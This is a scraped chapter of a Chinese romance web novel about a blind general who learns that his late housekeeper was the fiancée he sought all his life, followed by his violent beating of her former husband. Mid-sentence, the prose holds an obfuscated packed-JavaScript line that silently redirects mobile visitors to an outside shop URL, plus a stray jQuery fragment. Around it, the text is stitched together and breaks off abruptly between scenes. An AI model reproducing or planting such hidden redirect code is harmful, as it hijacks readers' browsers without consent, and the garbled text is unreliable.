谢清河从来没有一刻这么想杀死一个人。
他知道她过得苦，他找去打听她消息的人也说，她应该在村里发生了一些事才做出烧屋逃离的举动，但这一段他不知道，她也没有和他说过。
他认识她的时候，他已经六十。
刚从西南回来，眼睛接近半瞎，郑然找到他，问他，需不需要一个照顾的人。
他虽然快瞎了，却不到生活不能自理程度，身边还有警卫员，需要什么人照顾，他毫不犹豫拒绝了，说不需要。
他和郑然多年兄弟，那些年他陷在西南，郑然留在南城，日子却比他还要难一些，原来的意气风发，豪迈阔绰没了，一百六十斤的壮汉消瘦颓丧，半晌说：“就当帮我个忙好吗？”
“我对不起她。”
“她是郁大年的爱人，前不久离婚了。”
郁大年的爱人，离婚。
他听得眉头皱起来，他刚回来，但郑然具体近况他还是知道，他爱人前些年去了，两个儿子不争气，一个借着他的关系在外面拉帮结派，挖国家墙角，一个混五混六，欺负年轻小姑娘，最后都被送上了刑场，一颗花生米没了。
没想到郑然还有一出，他不是个迂回的人，直接问道：“你搞有夫之妇？”
郑然愣了下，很快慌了，“不是，你想哪儿去了，不是那么回事。”
郑然解释起来，他和她确实认识，但已经是几十年前了。
他找了一辈子阿媛，真的没找到，假的却碰见不少，就在这一年，长得最像媛媛的人经方家郑家那边找到了他，他眼瞎警惕不够，出了事。
给他做事的张江死了，手里握着的重要机密被盗，他不得不扛下所有去了西南。
郑然靠郑家运作勉强还留在南城，不过不再在七团，他降职去了三团，职位正营，和郁年平级。
他是被牵累的，事情平下来，有郑家人替他转圜运作，很快有人重新下来审查他的事，没有意外很快能回到原来的位置。
但有了意外。
那个意外就是她。
她是郁家童养媳，五岁就进了郁家，十五岁就嫁给了姓郁的，之后姓郁的出来找出路从军，她就在家替他照顾老人。
后来她上部队来寻夫，撞见姓郁的结婚现场，不甘心闹了一场。
事实婚姻，容不得狡辩，人既然找上门来了还闹了，就得负责。
不负责也行，作风问题，足够上升期的人喝一壶，郁年多年拼杀钻研就为出头，怎么选再明白不过。
她就这么留了下来。
两口子感情并不怎么好，但她厨艺好，吃过的没有不夸，姓郁的在团里多年也善经营，时常给人带些吃食。
正巧姓郁的生日，团里便组织去他家聚一聚，这一聚出了事。
郑然喝醉了，迷迷糊糊走出屋去方便，却没注意敲门，撞见了正小解的她。
原本只是桩意外，没想到会被后跟来的一个营长叫破，还把这事传了出去。
那以后，她和郑然的名字就在大院里绑在了一起，只要看到他们就免不了脸色怪异。
大概是不想戴了“绿帽子”，姓郁的闹起离婚，还开始和已经结婚的阮霜纠纠缠缠，没多久被举报了作风问题，发配大西北。
她也跟着去了大西北。
一去二十年，过得很不好，脸毁了，身体垮了，好不容易回来，她想离婚了。
她想离了，姓郁的不想，最后她净身出户，一个小布包离开了大院。
郑然说，原本要没他那一岔子，她和姓郁的能好的，同在一个团里，他能感觉到姓郁的对她态度的一天天变化。
他愧对人，现在人离开了大院，没个工作，也没个住所，他不好出面，也不好随便找人，想来想去，只能想到他。
军部本来就要给他安排生活服务员，她很合适。
兄弟几十年，郑然难得开口，他答应了。
隔天，他见到了她。
穿着一身洗得发白的蓝布衣裳，头发梳得一丝不苟，人消瘦清减，只剩一把骨头，脸也不好看，长满了斑点，一侧脸颊上还有一道蜈蚣爬的疤。
据郑然说是在大西北的时候，被那群人伤的。
姓郁的没护好她，还连累了她一起被迫害。
她不好看，怕她的脸吓到人也一直低垂着头不看他，声音也细轻的，让人听着就知道她胆子小。
都是从那个岁月过来的人，他知道，她应该是被吓怕了。
他没多问什么，也没多说什么，只是把人留了下来。
就和郑然说的，她人很勤快，刚来第一天就把家里里外外收拾了一遍，地板被她拖得干净发亮，庭院里快要死的那两盆花，也因为她的到来重新活了。
她做饭也很好吃，他在西南待了快三十年，刚过去那几年环境不算好，他也吃了不少苦头，舌头和胃都有些不好了，吃不得辛辣，吃清淡了又尝不出味。
她却能刚好把握那个点，做出来的饭菜咸淡适中，鲜味正好，他不知道她怎么做到的，就是很合他胃口。
她不是个多话的人，埋头做事从不打扰他。
他看到她最多的，是在院子里打理那几盆他完全不知道名字的花。
她养花有一手，种菜也是。
来了半年以后，一个傍晚，他用过晚餐后，她询问他，院子后面那块空地，杂草她都清理干净了，他一直没拿来做他用，她想问问，那块地他有什么打算吗？
要是没有，她想能不能拿来种菜。
她一天也闲着没什么事，打理一块菜地完全可以，她保证不会弄出什么味道，不会弄脏了院子。
他在西南农场待过两年，最开始那一年他大粪都挑过，他怕什么脏有味道，他戴副眼镜，是因为他眼睛重度近视看不到，不是什么真的文化人，没有那些讲究。
但在她面前，他一直没找到和她相处的方式，大多数两个人互不打扰，客套客气。
他在她面前也一直端着，和在军区那群下属面前差不多，但他其实并不想用那样一副脸色对她。
“我没什么打算，你要用就用，需要什么可以找小张。”
他最后那么说，声音微微扬起，不显得那么冷淡冷漠。
她很高兴，说了声谢谢首长，脸也露出个笑。
很浅的一个笑，他两千度近视的眼睛只能隐隐看到她嘴角掠起的一点弧度，很好看，他眼睛不好，看不到那条疤，只看到她脸上的纯粹。
她在院子里开垦了，早上起来他打拳，能听见后院锄头松土的声音，水浇过菜地，暑热都消了不少。
但每天在家里闷着，光种花种菜也不行啊，他是个男的，也不能像个女同志那样喊她出去，周围住的，大都是些老头子，有老伴儿的，他在家，人家有顾忌也不敢来。
敢来的，他还要揣测下这人有什么目的。
他身份的问题，她在他家几乎断绝了人际关系，他多少要负点责任，他想了半天，最后让警卫员开车带他去了趟书店。
他父母亲是粗人，却崇尚有文化的读书人，从小就把他送往杭城方叔父家寄养，他父母牺牲后，叔父婶娘对他更是尽心力，用心栽培，只可惜，他天生不通那根读书的筋窍，只勉强读了几本兵书，练了一手字。
让他找适合女同志看的书，有点为难他了。
她的情况，也不能找太晦涩难懂的，那些国外文学名著，也还不太适用，想来想去，最后买了两本字帖，再工农厨这类书乱七八糟的买了些。
都是些关于怎么种菜养殖做饭的，上面还有字画，她能看懂。
她果然很喜欢，拿着一本农书就翻了好几页，看到上面教怎么除虫害后，脸上更欣喜，不过他把笔墨字帖给她后，她却很无措，说她只认识两个字，不会写，写不好，白浪费了这么好的笔墨。
他其实知道，在这之前就了解过，他坚持把字帖给了她，说就当打发时间，他也想练字，只是他眼睛不行了，看不太清了，买回来才发现自己已经没办法再和以前一样，坐在书案前练字一整天。
那是他第一次提起自己的眼睛，他六十岁，对于他这个位置的人，还是很好的年纪，他却已经是半退状态，何尝不是一种挫败，只是他从不曾对人提起。
她心肠很软，一听他说起眼睛，没有再在意什么字体练字，手足无措的望着他，像是想宽慰他又不知道说什么，最后收下那些笔墨字帖，干巴巴的问了他晚上想吃什么。
他想吃什么，他一向不好口欲，自然什么都可以，但看她问得认真，他回了声，龙虾面。
当晚，果然有符合他口味的龙虾面。
之后，她还各种想法子给他治眼，主动买了字典看起书，大部分是医术，中医西医。
他看着觉得她傻，他的眼睛多少专家看过了，连国外的他也见过，都说没得治，能保持视弱不瞎已经是一种幸运。
不过他什么都没说，只是心悄然塌了一块儿。
那以后，他们的交流多了一些，关于写字，关于治眼。
她写的字越来越好，读的书也越来越多，她本来是个好看的人，脸上的疤在用过他找来的两瓶祛疤膏后越来越淡了，人也越来越柔和气韵。
他目光有些克制不住找她。
那些下棋喝茶聚会他不大去了，没有事的时候，他更喜欢待在家里的小院子，有她的小院子。
但那样的日子有点太短了。
短到他还没弄明白，她就倒下了。
晕倒在后院菜地里。
她病了。
胃里一颗瘤。
当年岁月太艰难，她在大西北那些年更不好，缺粮食，吃了不少不该吃的生霉粮食树皮，整个胃坏了。
她一直忍着，他也一直没有发现。
他找了很多人，带着她飞了很多医院，动用了他所有的关系，都告诉他，没治了。
他拿着诊告单不知道说什么。
她一生苦得掉渣，最后连长命都给不了她。
他问她有没有什么心愿。
她大概猜到她不好了，坐在病床上垂着头许久回他说，没有。
她说，她前面几十年过得很苦，但这两年，她觉得很好。
她很开心，很自在，没有什么遗憾了。
他看着她许久没说话。
她像是没注意，唇角依然笑抿着，好像真的没有遗憾。
她也没有问她的病情，她还有多久，他带她去看医生，她就去，做什么治疗，她都配合。
人家都说，病人难伺候，在她身上没有，她是医院里最听话的病人。
但这样的病人没有治好病，一个下午，她倒在了他怀里，再也没醒来。
她没了。
对外人来说，他只是没了个照看她的生活服务员，好像也确实是那样，他日子还是那样过，只是家里空了些，吃的饭菜没了味道，院子里的花死枯了根，菜地里全是野草，他时不时会忘记她不在了，随口喊一声阿禾。
前些天，一个老友找到他，说她买的那套小房子要拆了，问他有没有什么东西需要去收拾出来，没有问题的话去签个字，整个街道就他没签字了，希望他这个当领导的能体谅，不要让底下的人工作难做。
他才恍然，她已经走了很多年。
她的小房子，她生病前用自己的钱置办的，预备着养老用的小房子，没怎么去住过，却置办了不少东西，去世前，她把那套房子赠予了他。
说，她没有亲人，她死后的事，恐怕还要麻烦他，那套房子，就算抵丧葬费和他一直来替她贴的医药费。
他没处理那套房子，一直空置着，一晃，这么多年过去了。
他喊上老郑和警卫员走了一趟。
房子离他静养的地方不远，拐过三条街就到。
他有这边钥匙，却在她走后没有再来过，里面已经布满了蛛网和灰。
老郑带着警卫员收拾了一下午，才把屋子收拾干净了。
收拾好，他去了她房间，不是为了搬东西，只是想再看看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708092|208349||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她布置的床，摆设，他眼睛已经严重视物障碍，几乎看不见了，但他还记得她买到房子那天，她回到小院时那激动的样子，他问她，她笑着回他说，她买了一个小房子，以后也算有个家了。
他站在房间里不动，老郑等不住进来要帮他，他难得情绪失控去拦了他。
老郑看他抓着他不让他动，明白了什么，他劝他不要活在从前的世界里，他们也没多少个年头了，还是要多走动，到外面看看。
那天的老郑，就好像回到年轻时候，叽叽歪歪半天，他都没听清楚他说什么，走动什么，看什么外面，他都瞎了，怎么走，怎么看。
他听到屋里传来动静，老郑在收她东西了，他立即过去了，争执间，抽屉掉到了地上，有东西从缝隙滑了出来，他视线模糊，只看到黑黑的一团，老郑把东西捡了起来。
他听到他说：“怀表?”
“老谢，你和阿媛的怀表怎么在这里？”
“你.......”
他皱起眉，不知道老郑在说什么，他怎么会把和阿媛的怀表给阿禾，阿禾知道阿媛，他们在一起，他也没避讳过，但再不避讳，他也不至于做这事，正要开口，却听老郑又一声惊喊：“不对！”
“这不是你的那块，这是阿媛的。”
“方禾怎么会有阿媛的怀表？”
“方禾，我记得她是衢城人，先前姓郁的说，她是他老娘捡回去的……”
“捡回去的，女间谍之前也说，阿禾是被她们带到衢城才弄丢的，难不成，难不成，方禾是阿媛？”
老郑的声音忽然带起颤，“老谢，方禾是阿媛啊？”
阿媛。
方禾是阿媛。
他找了一辈子的阿媛，他的未婚妻。
可到她死，她都不知道自己的身世，他也不知道，她是她。
他什么都不知道，不知道她年轻的时候这么苦，更不知道还遭遇了这些。
畜牲！
这个畜生，他该死！
谢清河一拳头一拳头往下挥，神情恶煞，就像回到战场那个出手就要见血的活阎王，一定要人命，郁年刚开始还能接两下，但谢清河一拳头把他鼻血打出来了，他去擦的功夫，被谢清河一脚踹倒在了吉普车前，很快连还手的余力都没有了。
这样疯狂的，躁怒充满杀意的打法，骇得边上的人尖叫躲让，周围的人也开始躲闪。
“怎么又打起来了？”
乔翠华焦急一声，胡政委也意识到不对，急声喝道：“谢清河，你这是要干嘛！”
“给老子停手！听到没有！”
谢清河没听到，他只想要人死，谁喊都没用，上来拉他的人直接被他两个擒拿手壤了开，拳头继续砸沙袋一样砸下去。
郑然在边上脸色一变，他也看出来了，谢清河这回是动真格的了，他赶紧上去把人抱了住：“老谢，老谢你冷静点！”
“不至于，咱不至于！”
郑然拼命拽，拼命劝，但是一点儿用都没有，方禾也吓了一跳，她没想到谢清河会对郁年再次动手，她能感觉到谢清河是个热心肠的人，也是感觉到了，她才会问他那么一句，替自己多找一条后路，但如果让谢清河因为她，被处罚，甚至背上一条人命，就不行了。
但拉架的人太多了，她几次上去都没能凑近，反而脚被踩了几下，没办法，她几处看看，胡政委都亲自出马还是不行，着急下只能出了声：
“谢团长，我能再和他说几句话吗？”
一声清亮的谢团长，谢清河动作慢了下来，郑然借机赶紧把他弄到了一边。
所有人让开，阮霜因为被谢清河惊人的打法吓到不敢靠近躲在一边，只剩下郁年还靠在吉普车前，谢清河下手狠，尽管他拼命防护了，还是被打得很惨，鼻血糊满了脸，这里一块红，那里一块儿肿，侧脸还有不少擦伤，要是从前，方禾看到他这样要心疼坏了。
现在却没有那些情绪，甚至隐隐感到痛快，她也想打他，这个负心汉。
“我知道你想要另外的生活，我这样的你看不上。”
“我不会纠缠你。”
“但我不能这么回去，我是逃出来的，上车之前，郁峰还带着人在追我。”
“我不指望别的，只想要个公道。”
“娘也不能白死了。”
郁年斜躺靠在车前，被谢清河揍过的地方哪儿哪儿都疼，他却没什么反应，只怔怔看向方禾。
她刚擦了脸，没擦干净，这里一块儿那里一块儿，但脸上的坑洼明显没了，擦过的地方露出了她本来的肤色，证明她没有说谎。
她没有说谎，那就是他错了，他被骗了。
他误会了她。
可是，怎么可能呢，怎么会是这样的，怎么会……
“你要的公道我会替你讨，不用找他。”
郁年满脑子的怎么会，不敢相信，许久没说话，谢清河脸色更冷，他盯向郁年：“是你对不起她，全然没想过她。”
“什么不知道，以为，都不过是你不在意，想和她撇清干系。”
“你先弃之如敝屣，不珍惜，就不要怪别人，今后也别缠上来，给我记住了！”
谢清河放完话，便循着声音大步去了方禾身边，伸手拉过她手，“我们先走。”
方禾看向他，想到刚才问他的事，再看一眼好像话都说不出来的郁年，他不在意她，大概也是不在意她跟谁走，再嫁给谁的。
说不定还巴不得呢。
方禾收回视线吸了吸鼻子，跟着谢清河走了。
这一幕把所有人都看愣了，连郑然都有些反应不过来，还是两人走远了，谢清河喊了一声：“过来开车。”
郑然才醒过来似的，高声应了声：“来了！”
也不管如何惊怔的众人，赶紧走了。
乔翠华反应过来急急一声：“诶，你们要去哪儿啊？”
却没人回她，没一会儿，吉普车便响起一阵声响，带起一片尘土，消失在众人视线里。